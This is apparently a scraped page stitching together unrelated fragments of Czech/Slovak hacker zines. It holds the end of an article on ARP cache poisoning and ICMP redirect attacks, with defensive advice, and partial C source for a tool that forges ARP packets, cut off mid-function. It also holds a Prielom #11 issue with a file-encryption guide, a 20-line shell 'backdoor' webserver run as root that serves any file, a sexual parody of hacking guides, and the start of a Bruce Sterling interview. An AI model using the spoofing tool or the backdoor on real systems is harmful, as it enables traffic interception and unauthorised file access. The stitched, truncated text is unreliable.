    sa stava ze victim vysiela packety rozneho druhu ktore prijdu na zlu masinu, a ta zla masina
    posle naspat ICMP Xxx Unreachable odkaz, co nejakym perverznym sposobom emuluje spojenie.
    Taketo pseudo-spojenie moze predlzit expiraciu cache. Na linuxe, napriklad, pseud-spojenie
    predlzi expiraciu cache z beznej 1 minuty na zhruba 10 minut. do vtedy vacsina alebo vsetky
    TCP spojenia su v kybli. to moze dost nasrat. takymto sposobom moze ARP packet niekoho fest dokaslat.



    ARP je aj seriozny nastroj na profesionalny cierny humor. predstavte si ze niekto si
    nastavi relay, alebo tunel, tak ze presvedci dve susediace masiny aby posielali packety
    urcene pre vzajomnu komunikaciu na Ethernet relay. Ak relay jednoducho forwarduje packety na
    ich spravnu destinaciu, nikto si nic nevsimne. Ale jednoducha modifikacia datoveho toku moze
    spravit uchvatne zmeny v mentalnom stave jedinca. Jednoduchy CPU-nenarocny "filter" moze
    prehadzovat randomne dva bajty v nepravidelnych casovych intervaloch. Ak filter udrie na
    datovu cast, vacsinu checksumu sa nezmeni, t.j. datovy tok sa bude zdat byt neposkodeny, avsak
    divne a nevysvetlitelne veci sa _budu_ diat bez akehokolvek zjavneho dovodu.


    ICMP redirekty



    stejneho efektu jako ARP kes poisoning muzete dosahnout i jinak, pouzitim
    legitimni soucasti ICMP protokolu - ICMP route redirekt.
    v normalnich situacich je route redirekt pouzivan routerem, ktery se vam
    snazi sdelit, ze existuje i kratsi cesta k nejake konkretni masine nez pres
    nej. puvodne se pocitalo jak s redirekty na site tak na jednotlive masiny, ale
    pozdeji se od pouzivani net redirektu upustilo a jsou vetsinou zpracovavany
    jako obycejny host redirekt. spravne zkonstruovany ICMP paket, ktery projde
    vsemi kontrolami spravnosti (napr. musi prijit z defaultniho routeru pro
    tu destinaci kterou redirektuje, novy router by mel byt na primo pripojene
    siti apod.) zpusobi pridani host-route zaznamu do systemovych routovacich
    tabulek.


    tento pristup je stejne bezpecny jako samotny protokol ICMP, to jest vubec.
    falsovani IP adresy routeru je velmi jednoduche, prilozeny program
    icmp_redit.c dela presne co potrebujeme. pozadavky kladene RFCkem rikaji, ze
    system MUSI vzdy akceptovat ICMP redirekt, a jedinou vyjimku maji routery.
    jednotlive implementace to samozrejme dodrzuji, funguje to vsude kde jsem to
    zkousel. (tedy s vyjimkou cisteho kernelu 2.0.30, kde je kod nejak pokaslany.
    jinak to funguje na 2.0.29 i na 2.0.31pre9).


    ICMP redirekt se primo nabizi pro denial-of-service utoky. host-route
    zaznamy v routovacich tabulkach nejsou casove omezeny, takze jejich platnost
    nevyprsi tak jako u ARP kese. navic jeho pouzitelnost neni omezena na
    lokalni sit, takze utok muze prijit odkudkoliv. takze v pripade, ze cil
    prijima ICMP redirekty (a je pristupny po siti), muze mu byt zabraneno v
    komunikaci s kteroukoliv konkretni adresou na siti (samozrejme s vyjimkou
    masin na stejnem subnetu, kde se routing nepouziva). idealnim cilem jsou
    treba nameservery.


    co s tim


    ARP je protokol pouzivany na nizke urovni, tudiz se s nim obvykle nesetkate,
    respektive setkate, ale nevite o tom. obcas se s nim potykaji administratori
    siti, ale pokud vse facha jak ma, nikdo se o nej nestara. kdokoliv se muze
    podivat do ARP kese prikazem arp(8), ale obvykle to jen tak nekoho
    nenapadne, leda pokud se vyskytl nejaky naprosto totalne zahadny problem.
    dokonce i windows 95 maji prikaz arp, a jeho znalost vam muze obcas dobre
    pomoct. (nicmene neexistuje zpusob, jak poznat ze jste cilem utoku
    prichazejicho z cizi site pres gateway arp spoofing.) stejne jako u ARP kese
    neni tezke najit zaznamy "host-route" zaznamy zpusobene ICMP redirektem,
    proste se podivejte do systemovych routovacich tabulek. (ve vetsine verzi
    route(8) takovy zaznam poznate podle flagu "D"). jen abyste vedeli.


    hore prezentovane schema ARP utoku funguje perfektne na obycejnem 10Base2
    ethernetu. nicmene pokud jsou masiny propojeny nejaky pokrocilejsim
    zpusobem, trebas nejakymi smart huby nebo switchi, utok muze byt velmi
    napadny, ne-li rovnou nemozny. (a to plati i pro pasivni utoky). takze to je
    dalsi z duvodu proc byste meli investovat do fakt poradneho sitoveho zeleza.
    bude se vam o poznani lepe spat.


    osobne vubec nerad vidim, ze veci jako ICMP redirekt byly implementovany
    jako defaultni soucast systemu. za prve - vetsina siti ma velmi jednoduchou
    strukturu, takze si v pohode vystacite s obycejnou routovaci tabulkou. za
    druhe - i v sofistikovanejsich sitich lze zmeny delat rucne, neni to zadna
    dynamicka zalezitost, tak proc to delat pres ICMP? a do tretice - je to tak
    nebezpecne, ze bych to nejradsi na mych systemech vypnul, i za cenu ze budou
    mene kompatibilni s RFC1122. bohuzel to nemusi byt tak jednoduche. na linuxu
    nebo kteremkoliv jinem open-source systemu muzu prinejhorsim upravit
    zdrojaky kernelu a deaktivovat kod pomoci #define. na IRIXech 6.2 (a mozna i
    jinejch verzich) lze nastavit icmp_dropredirects=1 nastrojem systune (jo,
    fakt se mi libi ze to tam je, fakt jo.) jine OS mohou byt podobne
    konfigurovatelne, ale nemam podrobnejsi informace.


    u ARP protokolu se setkavame se situaci, kdy je resolvovani jmen vyreseno
    dynamicky bez nejakeho centralniho serveru. ale nemusi tomu tak byt vzdy.
    kdyz nekdo chce prevest hostname na IP, posle se dotaz na nameserver, nebo
    se pouzije /etc/hosts, to znamena, ze je pouzito nejake staticke mapovani.
    nevidim duvod proc tento pristup nepouzit i u ARP. ethernetove hardwarove
    adresy se nemeni casto, a kdyz uz nahodou, tak to prece admina nijak
    nezabije provest zmeny v prislusne tabulce. ethernet muze byt provozovan v
    no-cache modu, potrebujete se jen ujistit ze zaznamy v ARP cache budou
    permanentni. jako bonus usetrite trochu sitoveho provozu. ARP mapy muzete
    distribuovat beznymi zpusoby, napriklad rdist, rsyns (ano, NIS by se take
    dalo pouzit, ale predpokladam, ze jestli pri zajisteni bezpecnosti jdete tak
    do hloubky ze se zabyvate ARP protokolem, nepouzivate asi NIS). stara
    tradice /etc/ethers se muze znovu probrat k zivotu. ale zprovozneni nejakeho
    poradneho ethernetoveho switche mi prijde lepsi (s jeho zaplacenim je to ale
    horsi, heh).


    stara moudrost je platna naveky: nepouzivejte autentifikaci zalozenou na
    hostname. ti kteri tak ucini, budiz uvrzeni v nemilost sitovych bohu.


    cheers,



    yuri, volobuev@t1.chem.umn.edu


    P.S. jeste k firewallum

    presne vidim, jak hodne z vas po precteni sekce o ICMP svrbi prsty, abyste
    mi napsali, ze ICMP pakety jdou v pohode odfiltrovat na firewallu. nepiste
    mi. ja to vim.


    znam hodne lidi, kteri se svym "ja mam firewall, je to super,
    a kdo nepouziva firewall, je totalni blb" rikaji ze plno bezpecnostnich
    problemu se vyresi jako mavnutim kouzelnym proutkem jen tak, ze mezi sebe a
    zle hochy date firewall. samozrejme souhlasim ze firewall je skvela vec, ale
    podotykam, ze jeho pouziti nemusi byt vzdy mozne nebo efektivni.


    predstavte si prostredi, kde vsechny masiny jsou primo pripojeny na
    internet, kde musite sdilet subnet s lidmi ktere vubec neznate (a kteri
    samozrejme maji krasna nova vylestena SGIcka... kricici "tu jsem. pojdte si
    me hacknout". tihle lide prece znaji UNIX, vzdyt ho videli v Jurskem
    Parku.), nebo kde ma nad vasim routerem kontrolu cizi organizace. vitejte na
    akademicke pude ... tady firewally nepouzivame. dalsi vec je, ze v techto
    prostredich se nemusite tak bat cizich utocniku tolik jako insideru. bez
    pecliveho zabezpeceni jednotlivych stroju je to totalni dzungle, ve ktere
    ale nekteri lide potrebuji (kupodivu) pracovat. takze priste az budete
    nekoho lamat do firewallu, uvedomte si prosim, ze to je krasna vec, ale
    nehodi se pro kazdeho.



    /* send_arp.c

    tento program posle jeden ARP packet so zdrojovou/cielovou IP a ethernetovou
    hardwarovou adresou zadanou uzivatelom. da sa to skompilovat a bezi to pod
    linuxom ale pravdepodobne to funguje na hocijakom unixe co ma SOCK_PACKET

    yuri, volobuev@t1.chem.umn.edu

    */

    #include <stdio.h>
    #include <ctype.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <linux/in.h>
    #include <arpa/inet.h>
    #include <linux/if_ether.h>


    #define ETH_HW_ADDR_LEN 6
    #define IP_ADDR_LEN 4
    #define ARP_FRAME_TYPE 0x0806
    #define ETHER_HW_TYPE 1
    #define IP_PROTO_TYPE 0x0800
    #define OP_ARP_REQUEST 2

    #define DEFAULT_DEVICE "eth0"

    char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97n
    tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addrnn"};

    struct arp_packet {
    u_char targ_hw_addr[ETH_HW_ADDR_LEN];
    u_char src_hw_addr[ETH_HW_ADDR_LEN];
    u_short frame_type;
    u_short hw_type;
    u_short prot_type;
    u_char hw_addr_size;
    u_char prot_addr_size;
    u_short op;
    u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
    u_char sndr_ip_addr[IP_ADDR_LEN];
    u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
    u_char rcpt_ip_addr[IP_ADDR_LEN];
    u_char padding[18];
    };

    void die(char *);
    void get_ip_addr(struct in_addr*,char*);
    void get_hw_addr(char*,char*);

    int main(int argc,char** argv){

    struct in_addr src_in_addr,targ_in_addr;
    struct arp_packet pkt;
    struct sockaddr sa;
    int sock;

    if(argc != 5)die(usage);

    sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
    if(sock<0){
    perror("socket");
    exit(1);
    }

    pkt.frame_type = htons(ARP_FRAME_TYPE);
    pkt.hw_type = htons(ETHER_HW_TYPE);
    pkt.prot_type = htons(IP_PROTO_TYPE);
    pkt.hw_addr_size = ETH_HW_ADDR_LEN;
    pkt.prot_addr_size = IP_ADDR_LEN;
    pkt.op=htons(OP_ARP_REQUEST);

    get_hw_addr(pkt.targ_hw_addr,argv[4]);
    get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
    get_hw_addr(pkt.src_hw_addr,argv[2]);
    get_hw_addr(pkt.sndr_hw_addr,argv[2]);

    get_ip_addr(&src_in_addr,argv[1]);
    get_ip_addr(&targ_in_addr,argv[3]);

    memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
    memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

    bzero(pkt.padding,18);

    strcpy(sa.sa_data,DEFAULT_DEVICE);
    if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
    perror("sendto");
    exit(1);
    }
    exit(0);
    }

    void die(char* str){
    fprintf(stderr,"%sn",str);
    exit(1);
    }

    void get_ip_addr(struct in_addr* in_addr,char* str){

    struct hostent *hostp;

    in_addr->s_addr=inet_addr(str);
    if(in_addr->s_addr == -1){
    if( (hostp = gethostbyna

    0000010100000001000001020061730200619251
    pajkus
     pajkus      03.03.2004 - 13:31:17 [1K] , level: 1, UP   NEW




    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #11, 13.4.99 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/




    obsah



    sifrovani souboru v praxi

    webserver na 20 radku

    ako preniknut do systemu zena

    interview s bruce sterlingom

    smurf attack

    valka elektronickych gangu II.

    abednego







    sifrovani souboru v praxi



    nerikejte, ze nemate doma na disku
    nejake privatni informace. nezalezi na tom jestli to je sbirka /etc/passwd z
    americkych vladnich serveru nebo telefony frajerek. urcite by se vam
    nelibilo, kdyby se tyhle informace dostaly do rukou nekoho nepovolaneho. jak
    to zaridit? jednoduse. neni nic lehciho nez soubory zasifrovat.

    existuje
    mnoho programu na sifrovani jednotlivych souboru. pro linux napriklad
    genialne jednoduchy cryptoman (k dostani v href="http://hysteria.sk/arxiv/">arxivu
    , pozor na nekompatibilitu se
    starsimi verzemi), ktery pouziva algoritmus DES. ten sice neni uplne
    nejbezpecnejsi, dnes jiz totiz neni technicky ani
    financne narocne sestrojit masinu dostatecne silnou k jeho prolomeni, ale
    v beznych podminkach to bohate staci. sifrovat jednotlive soubory dokaze take pgp, u nej je vyhodou ze je k dispozici jak pro unixy, tak pro
    windows. ve windows take muzete pouzit programy jako sharewarovy
    Blowfish Advanced 97.


    sifrovani jednotlivych fajlu ma take sve
    nevyhody. pred kazdym pouzitim je musite dekryptovat, po pouziti zase
    zakryptovat - ujde to kdyz skladujete malo informaci v par souborech, ale
    jestlize mate desitky ci stovky souboru s privatnimi daty, je lepsi pouzivat
    sifrovany cely filesystem.
    pro windows je k tomuto ucelu k dispozici
    vyborny program BestCrypt. umi na beznem disku vytvorit sifrovany
    soubor, ktery lze pripojit jako virtualni disk. muzete si vybrat mezi
    algoritmy DES, Blowfish a GOST. nevyhodou je, ze tento program neni zadarmo,
    takze pokud ho chcete pouzivat, musite za nej zaplatit nebo ho ukrast... je
    skoda, ze diky cele filozofii microsoftu je obtizne nalezt kvalitni program
    pod windows zdarma.


    to vam vsak nemusi vadit, pokud pouzivate linux. pro ten samozrejme existuje alternativa distribuovana pod licenci
    GPL, tedy volne. jmenuje se cfs, coz je zkratka od Crypted
    FileSystem, cesky sifrovany souborovy system. da se najit na
    vetsine beznych mirroru linuxu, k dispozici by take mel byt v crypto sekci naseho href="http://hysteria.sk/arxiv/">arxivu. program umoznuje uzivateli zalozit
    sifrovany adresar, ktery je po
    "namountovani" transparentne desifrovan. k zasifrovani muzete pouzit
    tradicni a casem proverene algoritmy single nebo triple DES, pokud jste drsni muzi
    do nepohody, muzete vyzkouset nove MacGuffin nebo SAFER-SK128.



    instalacni program vam nainstaluje binarky cfsd, cmkdir, cattach a cdetach. je take treba mit
    zprovozneny rpc.mountd a rpc.nfsd. do startovacich skriptu pridejte start cfsd
    demona a pripojeni specialniho adresare. sledujte vypis:


    bart# cat /etc/rc.d/init.d/cfsd
    echo "Starting cfsd"
    cfsd
    mount -o port=3049,intr localhost:/.cfsfs /crypt
    bart#

    do adresare /etc/exports pridejte export /.cfsfs pro localhost, pokud to
    rpmko neudelalo za vas:

    bart# cat /etc/exports
    /.cfsfs localhost # Used for cfs

    a cele to nastartujeme:

    bart# killall -HUP rpc.mountd rpc.nfsd
    bart# /etc/rc.d/init.d/cfsd
    Starting cfsd
    cfs ready [374]
    bart#

    sifrovany adresar prikazem vytvorite prikazem cmkdir [adresar]:

    bart$ ls
    bart$ cmkdir sifrovany_adresar1
    Key: necocojentaknekdoneuhodne
    Again: necocojentaknekdoneuhodne
    bart$ ls
    sifrovany_adresar/
    bart$

    adresar pripojite prikazem cattach [adresar] [jmeno]:

    bart$ cattach sifrovany_adresar1 nasa_passwds
    Key: necocojentaknekdoneuhodne
    bart$ ls /crypt
    nasa_passwds
    bart$

    vytvoril se virtualni adresar /crypt/nasa_passwds, ve kterem muzete vytvaret soubory a podadresare, editovat, mazat a podobne.
    za zminku stoji parametr -i N, ktery zpusobi, ze po N minutach neaktivity se
    disk sam odpoji.



    pokud za oknem slanuje nejaky divny pan, nad domem krouzi vrtulnik a na
    dvere nekdo klepe, snazte se stihnout napsat prikaz cdetach nasa_passwds, coz kryptovany adresar odpoji
    a znemozni jeho cteni komukoliv nepovolanemu:


    bart$ ls /crypt
    nasa_passwds
    bart$ cdetach nasa_passwds
    bart$ ls /crypt
    bart$ # prazdno
    bart$ ls sifrovany_adresar1
    84aaaa2087ed2833 9df742f3d8ac73bd
    bart$

    vsechna data jsou nyni sifrovana a kapitan Iglo si ani neskrtne.



    tolik k pouziti sifrovacich systemu. ted se podivame jeste na jeden problem,
    ktery vam muze zneprijemnit zivot na hezkych par let. jsou to smazane
    soubory. smazete-li soubor, zrusi se jen odkaz na nej, ale data samotna na
    disku zustanou. jdou potom obnovit treba Norton Disk Doctorem - programem za
    par korun. ovsem i kdyz je prepisete, nejste uplne v bezpeci. specialni
    technikou zvanou magnetic force microscopy lze precist data i nekolikrat
    prepsana. pokud tedy chcete opravdu bezpecne smazat nejaky soubor, musite k
    tomu pouzite specialni programy, ktere oblast ve ktere byla ulozena data
    mnohonasobne prepisou.
    pro windows je k dispozici tzv. wiping utility,
    ktera je soucasti BestCrypt nebo Blowfish Advanced 97. s cfs se nic takoveho nedodava a musite si to obstarat sami. podivejte
    se do arxivu po programu secure-delete. po instalaci tohoto balicku
    muzete pouzivat programy srm na bezpecne smazani souboru,
    sfill na bezpecne zniceni uz vymazanych dat z "prazdnych" oblasti disku a sswap na
    znemozneni cteni z linuxoveho swapu. jako bonus dostanete jeste
    patch na zdrojaky programu rm, ktery se po prekompilovani bude znat k volbe
    -s jakoze secure.



    newroot, newroot(at)hysteria.sk


    navrat na obsah



    webserver na 20 radku



    Zde je kuriozni backdoor, webserver na 20 radku kodu:


    #!/bin/sh
    read line
    case $line in
    GET*)
    argument=`echo $line | awk '{print $2}' | awk -F "r" '{print $1}'`
    if [ -d $argument ]; then
    echo -e -n "HTTP/0.001 200 OKnContent-type: text/htmlnn"
    [ `ls -l $argument | wc -l` -le 2 ] && echo "empty vole" && exit
    for brb in $argument/{.*,*}; do
    brb=`echo $brb | sed 's//////'`
    echo "<a href="$brb">$brb</a><br>"
    done
    else
    echo -e -n "HTTP/0.001 200 OKnContent-type: text/plainnn"; cat $argument
    fi
    ;;
    *)
    echo -e -n "HTTP/0.001 500 ErrornContent-type: text/plainnnprotokol mismas volen"
    ;;
    esac


    Hodte do /usr/sbin, do /etc/inetd.conf pridejte radku "PORT: stream tcp nowait root /usr/sbin/tcpd
    minimalweb", kde PORT je cislo portu na kterem chcete aby minimalweb
    visel, a restartujte inetd. V Netscape zadejte URL http://localhost:PORT/ a mate super
    fileserver.

    (Nefunguje? Hint: /etc/hosts.allow)



    newroot, newroot(at)hysteria.sk


    navrat na obsah




    ako preniknut do systemu zena...

    ...alebo zakladne informacie o biologickom hackovani



     +[ 0 ]+-----------------------+[ UVOD ]+-------------------------------- 


    Tato prirucka mladeho zaletnika vznika v pondelok niekedy doobeda
    den potom co sa muf vratil s hysteria session, kde tieto techniky
    konzultoval s naslovovzatymi odbornikmi na vysokej komunikacnej urovni
    a vo vysoko kulturnom prostredi...


    Autori nerucia za pripadne moralne, fyzicke, materialne, psychicke,
    hardverove, softferove, geneticke ani ziadne ine skody, negativne,
    pozitivne, neutronove, kozmicke, konfrontacne ani ine nasledky sposobene
    nespravnym pouzitim nizsie uvedenych informacii...



     +[ 1 ]+-----------------------+[ DISTRIBUCIE, JADRA ]+------------------ 


    Medzi zakladne, verejnosti najznamejsie distribucie, mozeme zaradit
    nasledujuce:



    Blondian - jadra triedy Public - nie prilis bezpecne a stabilne preto
    su casto preinstalovavane, takze dlhodobejsie vyuzivanie
    systemu neprichadza do uvahy



    BrunetWare - jadra typu Romantic - stabilne a jedny z najbezpecnejsich
    (ja osobne tiez fachcim na klone BrunetWaru a som velmi
    spokojny, pozn. muf, puf prikyvkava hlavou na znak suhlasu)



    Red Head - jadra sadistic a pribuzne - tato distribucia je velmi variabilna
    a zavisi od administratora na ake pouzitie bude nakonfigurovana,
    preto aj bezpecnost je relativna



    FreeBLACK - jadra Free - sluzia prevazne ako skolske alebo firemne srvery,
    takze ziskat konto nie je problem



     +[ 2 ]+-----------------------+[ ZISKAVANIE INFORMACII O SYSTEME ]+----- 


    Pomocou programov typu womaNMAP obet dokladne prescanujeme a snazime
    sa zistit distribuciu, triedu jadra (jadro nie je podmienene distribuciou
    pozn. muf), a nasledne aj porty na ktorych masina pocuva. Dokladnejsie
    by sme sa potom mali pozriet na porty 22, 23, 69, 79, 99, 110. Avsak
    najdolezitjesie, co nas zaujima je, ci uz nahodou stroj nie je zdielany
    inymi pouzivatelmi!


    Nasledovne sa snazime o odchytenie hesiel uzivatelov ( sniff ),
    ziskanie ich ID, real name, a prav pre danu masinu. Vhodne je tiez ziskat
    informacie o serveri od masin v tej istej sieti, pripadne od ostatnych
    strojov v DOMEne...

     +[ 3 ]+-----------------------+[ UTOK ]+-------------------------------- 


    Ak uzname ze stroj je pre nas vyhodny a vhodny pre utok, mali by sme
    prejst k ofenzive. Postup by mohol vyzerat nasledovne:



    - otestujeme vulnerability serveru na bezne exploity, napr. exploity
    triedy pozvanie.* (pozvanie.kino, pozvanie.prechadzka, pozvanie.bar)
    niekedy a len u niektorych jadier, je mozne ochromit bezpecnost pomocou
    c2h5oh utility ( snooping ), ktoru mozeme zamaskovat v nejakom beznom
    programe, napr. juice ( tzv. trojan )

    pozor ! tieto techniky nie je mozne pouzivat ak je pripojeny ROOT !
    S utilitou c2h5oh nie je vhodne si zahravat ak sme neskuseny lameri,
    kedze moze lahko sposobit DoS nielen na cielovom stroji ale aj u nas



    - snazime sa ziskat poziciu TRUSTED HOST, pripadne naburame iny system,
    o ktorom vieme, ze je v .rhosts, pripadne sa inymi technikami sami
    snazime dostat do .rhosts



    - ako nasledujuci krok by malo nasledovat rusenie .rhostov, obmezovanie
    procesov, pamate a nastavenie quoty ostatnym uzivatelom, ako aj co
    najviac zaneprazdnit administratorov daneho stroja.



    Na skodu nie je ani kontrolovanie posty a monitorovanie komunikacie
    a procesov...



    - po ziskani accountu na danej masinke je vhodne pre ziskanie UID 0
    pouzit multisystemovy a multipaltformovy exploit KWETY, ktory je
    uspesny v 90% (skoro ako ten exploit na SUNy v prielome #9 :), pozn.
    puf). Aj ked obrana proti tomuto zakernemu utoku je velmi tazka,
    odporuca muf pouzivat aspon verziu RUZE 3.0 a vyssie. V pripade
    neuspechu sa pokuste utok zopakovat...



    - ak nedosiahneme superpouzivatelske prava, mozeme sa pokusit zautocit
    aj na sluzbu KISS, ktoru riadi USTAd, a to pomocou kombinacie
    standardne implementovanych klientov PERY a JAZYK. Musime vsak byt
    opatrni, pretoze v pripade neuspechu je velka pravdepodobnost ze nam
    bude vytvoreny nemily, avsak dufajme ze len docasny zaznam v subore
    /etc/host.deny, ale moze nastat aj situacia, ze budu pouzite aj prikazy
    ako delluser, ci rm -rf v kombinacii s vasim LOGINom, apod.



    - niektore drsnejsie povahy preferuju utoky typu BRUTE FORCE, ktore su
    vhodne hlavne na jadra triedy sadistic a pribuzne. Cielom je ziskanie
    pristupu k sluzbam finger (port 79), suck (port 69) a fuck (port 99).



    UPOZORNENIE: Na systemoch s jadrom romantic je tento druh utoku
    vyslovene nevhodny a mnohi zabudaju na to, ze ich cinnost
    sa loguje a hrozi nielen zmarenie utoku ale aj zamedzenie
    pristupu a dokonca priama fyzicka konfrontacia s adminmi,
    trusted hostami, ako aj s policiou a inymi organmi...



    - na jadra typu romantic je preto najvhodnejsie vyuzit vyssie spomenute
    exploity (kino, prechadzka.*, kwety).



    - na distribuciu Blondian zabera na 100% exploit na dieru v sprave pameti,
    nazyvany medzi hackermi KARELAB/KALERAB. Tento je mozne "tlacit" cez
    lubovolny port. Pri tejto distribucii je defaultne povolene pouzivanie
    sluzieb FINGER a niekedy aj zmienenych FUCK a SUCK.



     +[ 4 ]+-----------------------+[ FIREWALLY ]+--------------------------- 


    V minulosti boli na zamedzovanie sluzby FUCK pouzivane HW ochany, prvi
    predchodcovia firewallu, ktore az do zadania patricneho osobneho kluca
    blokovali port 99. Nazyvaly sa PASCUDY, co je vlastne skratka zo slov PAS
    a CUDNOST. Dnes sa uz tieto primitvne nastroje nevyuzivaju a v pripade,
    ze sa najdu nejake podobne zabezpecenia, su tieto tunelovane a obchadzane
    prevazne portami 69, 79, pripadne redirektormi cez ine volne porty. Ich
    konfiguracia a spojazdnenie v distribucii BrunetWare je dost otiazne a
    vyzaduje vela casu a zrucnosti.

     +[ 5 ]+-----------------------+[ ZABARIKADOVANIE ]+--------------------- 


    Po dosiahnuti ROOT LEVELU na cielovej masine dochadza casto (hlavne v
    distribuciach s jadrami romantic) k zavedeniu zdielania diskov a procesov
    a k zosuladeniu userlistov, trusted hostov a k blokacii vacsiny portov
    vonkajsiemu svetu. V jadrach romantic je tato podpora priamo zabudovana,
    avsak u jadier sadistic, free a public je nutne tuto podporu dokompilovat
    ako zvlastny modul. V distribucii Blondian je spojazdnenie, vyuzivanie
    a administracia tychto sluzieb priam nemozna. Ak sa to niekomu podarilo,
    pripadne ma s tymto problemom blizsie skusenosti, ozvite sa prosim na nasu
    znamu adresu: Slovenska Televizia, Mlynska Dolina, 845 45 Bratislava.

     +[ 6 ]+-----------------------+[ LEGISLATIVA ]+------------------------- 


    UPOZORNENIE: Treba si davat pozor, pretoze zakon zakazuje vyuzivanie portov
    69, 79 a hlavne 99 (sluzby suck, finger a hlavne fuck = sietovy kombinacno
    duplifikacny protokol, skratka je z ludoveho narecia autora, ktory bol
    domorodcom z ostrova borneo, s mierne ugrofinskym prizvukom, pozn. muf) na
    nestabilnych strojoch, tj. strojoch ktorych UPTIME je mensi ako 15 rokov.
    Niektore stroje sa preto snazia oklamat potencionalnych zaujemcov o vyuzitie
    tychto sluzieb pouzivanim PATCHnuteho uptimu, modifikaciou systemoveho casu,
    pripadne vyuzivaju ine maskovacie techniky a lakaju tak userov/attackerov na
    vyuzivanie tychto sluzieb.

     +[ 7 ]+-----------------------+[ BACKDOORY A NAVRATY SPAT ]+------------ 


    Vo vseobecnosti sa neodporuca skusat opakovane navraty pomocou zadnych
    dvierok, avsak tato moznost existuje. Najpouzivanejsim backdoorom je
    vytvorenie vlastneho administratorskeho konta a zmenenie rootovskeho hesla.
    System je potom na nas plne zavisly. Dalsimi, avsak menej vyuzivanymi
    zadnymi dvierkami je odchytenie a zalohovanie privatneho komunikacneho
    kluca. Zablokovanie pristupu po odhaleni, je vsak velmi jednoduche, staci
    tento kluc zamenit za iny a zostaneme navzdy vyvreti zo systemu.

     +[ 8 ]+-----------------------+[ VSEOBECNE RADY ]+---------------------- 


    Ak sa rozhodnete system vyuzivat vo vacsej miere, je vhodne masinu raz
    za cas rebootovat. Poma ha to spravne nacitat vasu konfiguraciu. Niekedy
    vsak staci len prikaz kill -POHUBE 1. Tieto problemy s implementovanim
    spravnej konfiguracie sa vyskytuju hlavne v distribuciach s jadrami
    sadistic a najma free a public.

    Odporucane su aj upgrady systemu zaveditelnymi modulmi jadra DETi, ci
    uz aplikaciou X-Lapec alebo daemonom IEVCAd. Vhodne je instalaciu
    konzultovat s povodnymi administratormi systemu.

     +[ 9 ]+-----------------------+[ DOVERYHODNOST A BEZPECNOST ]+---------- 


    Tento navod berte s rezervou a hlavne pri sietovom styku pouzivajte
    ochranne prostriedky, ci uz HW povodu (tabletky, vyrobky z plastickych hmot,
    firmu DUREX odporucaju 8 z 10 zuba...gynekologov) alebo SW (wrappery, ...)
    Uvedene techniky nie je vhodne pouzivat na verejnych, nekryptovanych kanaloch,
    uliciach alebo inych miestach obvykleho vyskytu, ale doporucujeme vyuzivat
    kryptovanu komunikaciu na neverejnom okuhu, odpojenom od ostatnych sieti,
    pripadne pracovat priamo za systemovou konzolou...

    -----------------------------------------------------------------------------

    puf a muf (pufamuf(at)hysteria.sk, after session, volna hodina & skolsky bufet)


    navrat na obsah



    interview s bruce sterlingom



    Bruce Sterling, spisovatel, novinar, editor a kritik sa narodil v roku 1954. Editoval
    zbierku Mirrorshades, definitivny dokument kyberpunkoveho hnutia. Pise popularno-vedecku
    rubriku pre The Magazine of Fantasy and Science Fiction a literatno-kriticku rubriku pre
    Science Fiction Eye.


    Jeho posledna kniha, The Hacker Crackdown: Law and Disorder on the Electronic Frontier,
    je ne-fikcna praca o pocitacovej kriminalite a elektronickych obcianskych pravach,
    publikovana v Bantam Books v roku 1992. Sterling je v dozornej rade Electronic Frontier
    Foundation--Austin a pracuje na Vybore pre kontrolu cinnosti policie v tejto miestnej Texaskej
    organizacii pre elektronicke obcianske prava.


    Vystupoval v televizii ABC v programe "Nightline", v BBC "The Late Show", v CBS "Morningside",
    na MTV, v Newsday, Omni, Whole Earth Review, Details, Computerworld, The New York Times, Der
    Spiegel, Mondo 2000, Wired, a ine rovnako nepravdepodobne veci. Zije v Austine s jeho
    manzelkou a dcerou.


    The Agitprop Disk, zbierka prac ktoru Sterling spristupnil net komunite, je pristupna cez
    gopher server na tic.com. Vela informacii je tiez pristupnych v jeho archive na
    Well gopher serveri.


    Nasledujuce interview je z pera Pavla Vojira pre pripravovane CzERT CDecko. Preklad z angliny
    pajka.



    From v(at)jir.cz Wed Dec 9 14:17:15 1998
    From: Pavel Vojir
    To: "Bruce Sterling"
    Subject: questions from Czech Republic
    Date: Wed, 9 Dec 1998 21:39:24 +0100

    Posielam Vam prvu cast otazok. Pretoze som novinar, zvycajne sa najprv ludi pytam
    a potom dam reakcie na ich odpovede. To je dovod preco je toto prva cast.
    Vdaka, v(at)jir
    eeehmmm... sorry za moju zlu anglictinu.

    1. Aj ked ste autorom sci-fi (a spolu-autorom), Vase meno je zname vo svete
    ne-fikcnymi knizkami, pisanim pravdivych pribehov. Nebolo to pre Vas tak trochu
    sklamanie ?

    *Vacsina ludi po svete ma pozna skor ako spisovatela science fiction, nez
    ako novinara. Ale mne je to jedno tak ci tak. Mam univerzitne vzdelanie ako
    novinar. Beriem moju novinarsku pracu seriozne.


    2. Kedy ste poculi prvy krat slovo "hacker"?

    Pravdepodobne niekedy zaciatkom 70-tych rokov.


    3. Vasa kniha The Hacker Crackdown (THC) nie je priatelska voci hackerom
    a nie je priatelska ani voci policajtom. Mali ste niekedy problemy s niektorou
    z tychto skupin v suvislosti s Vasou knihou ?

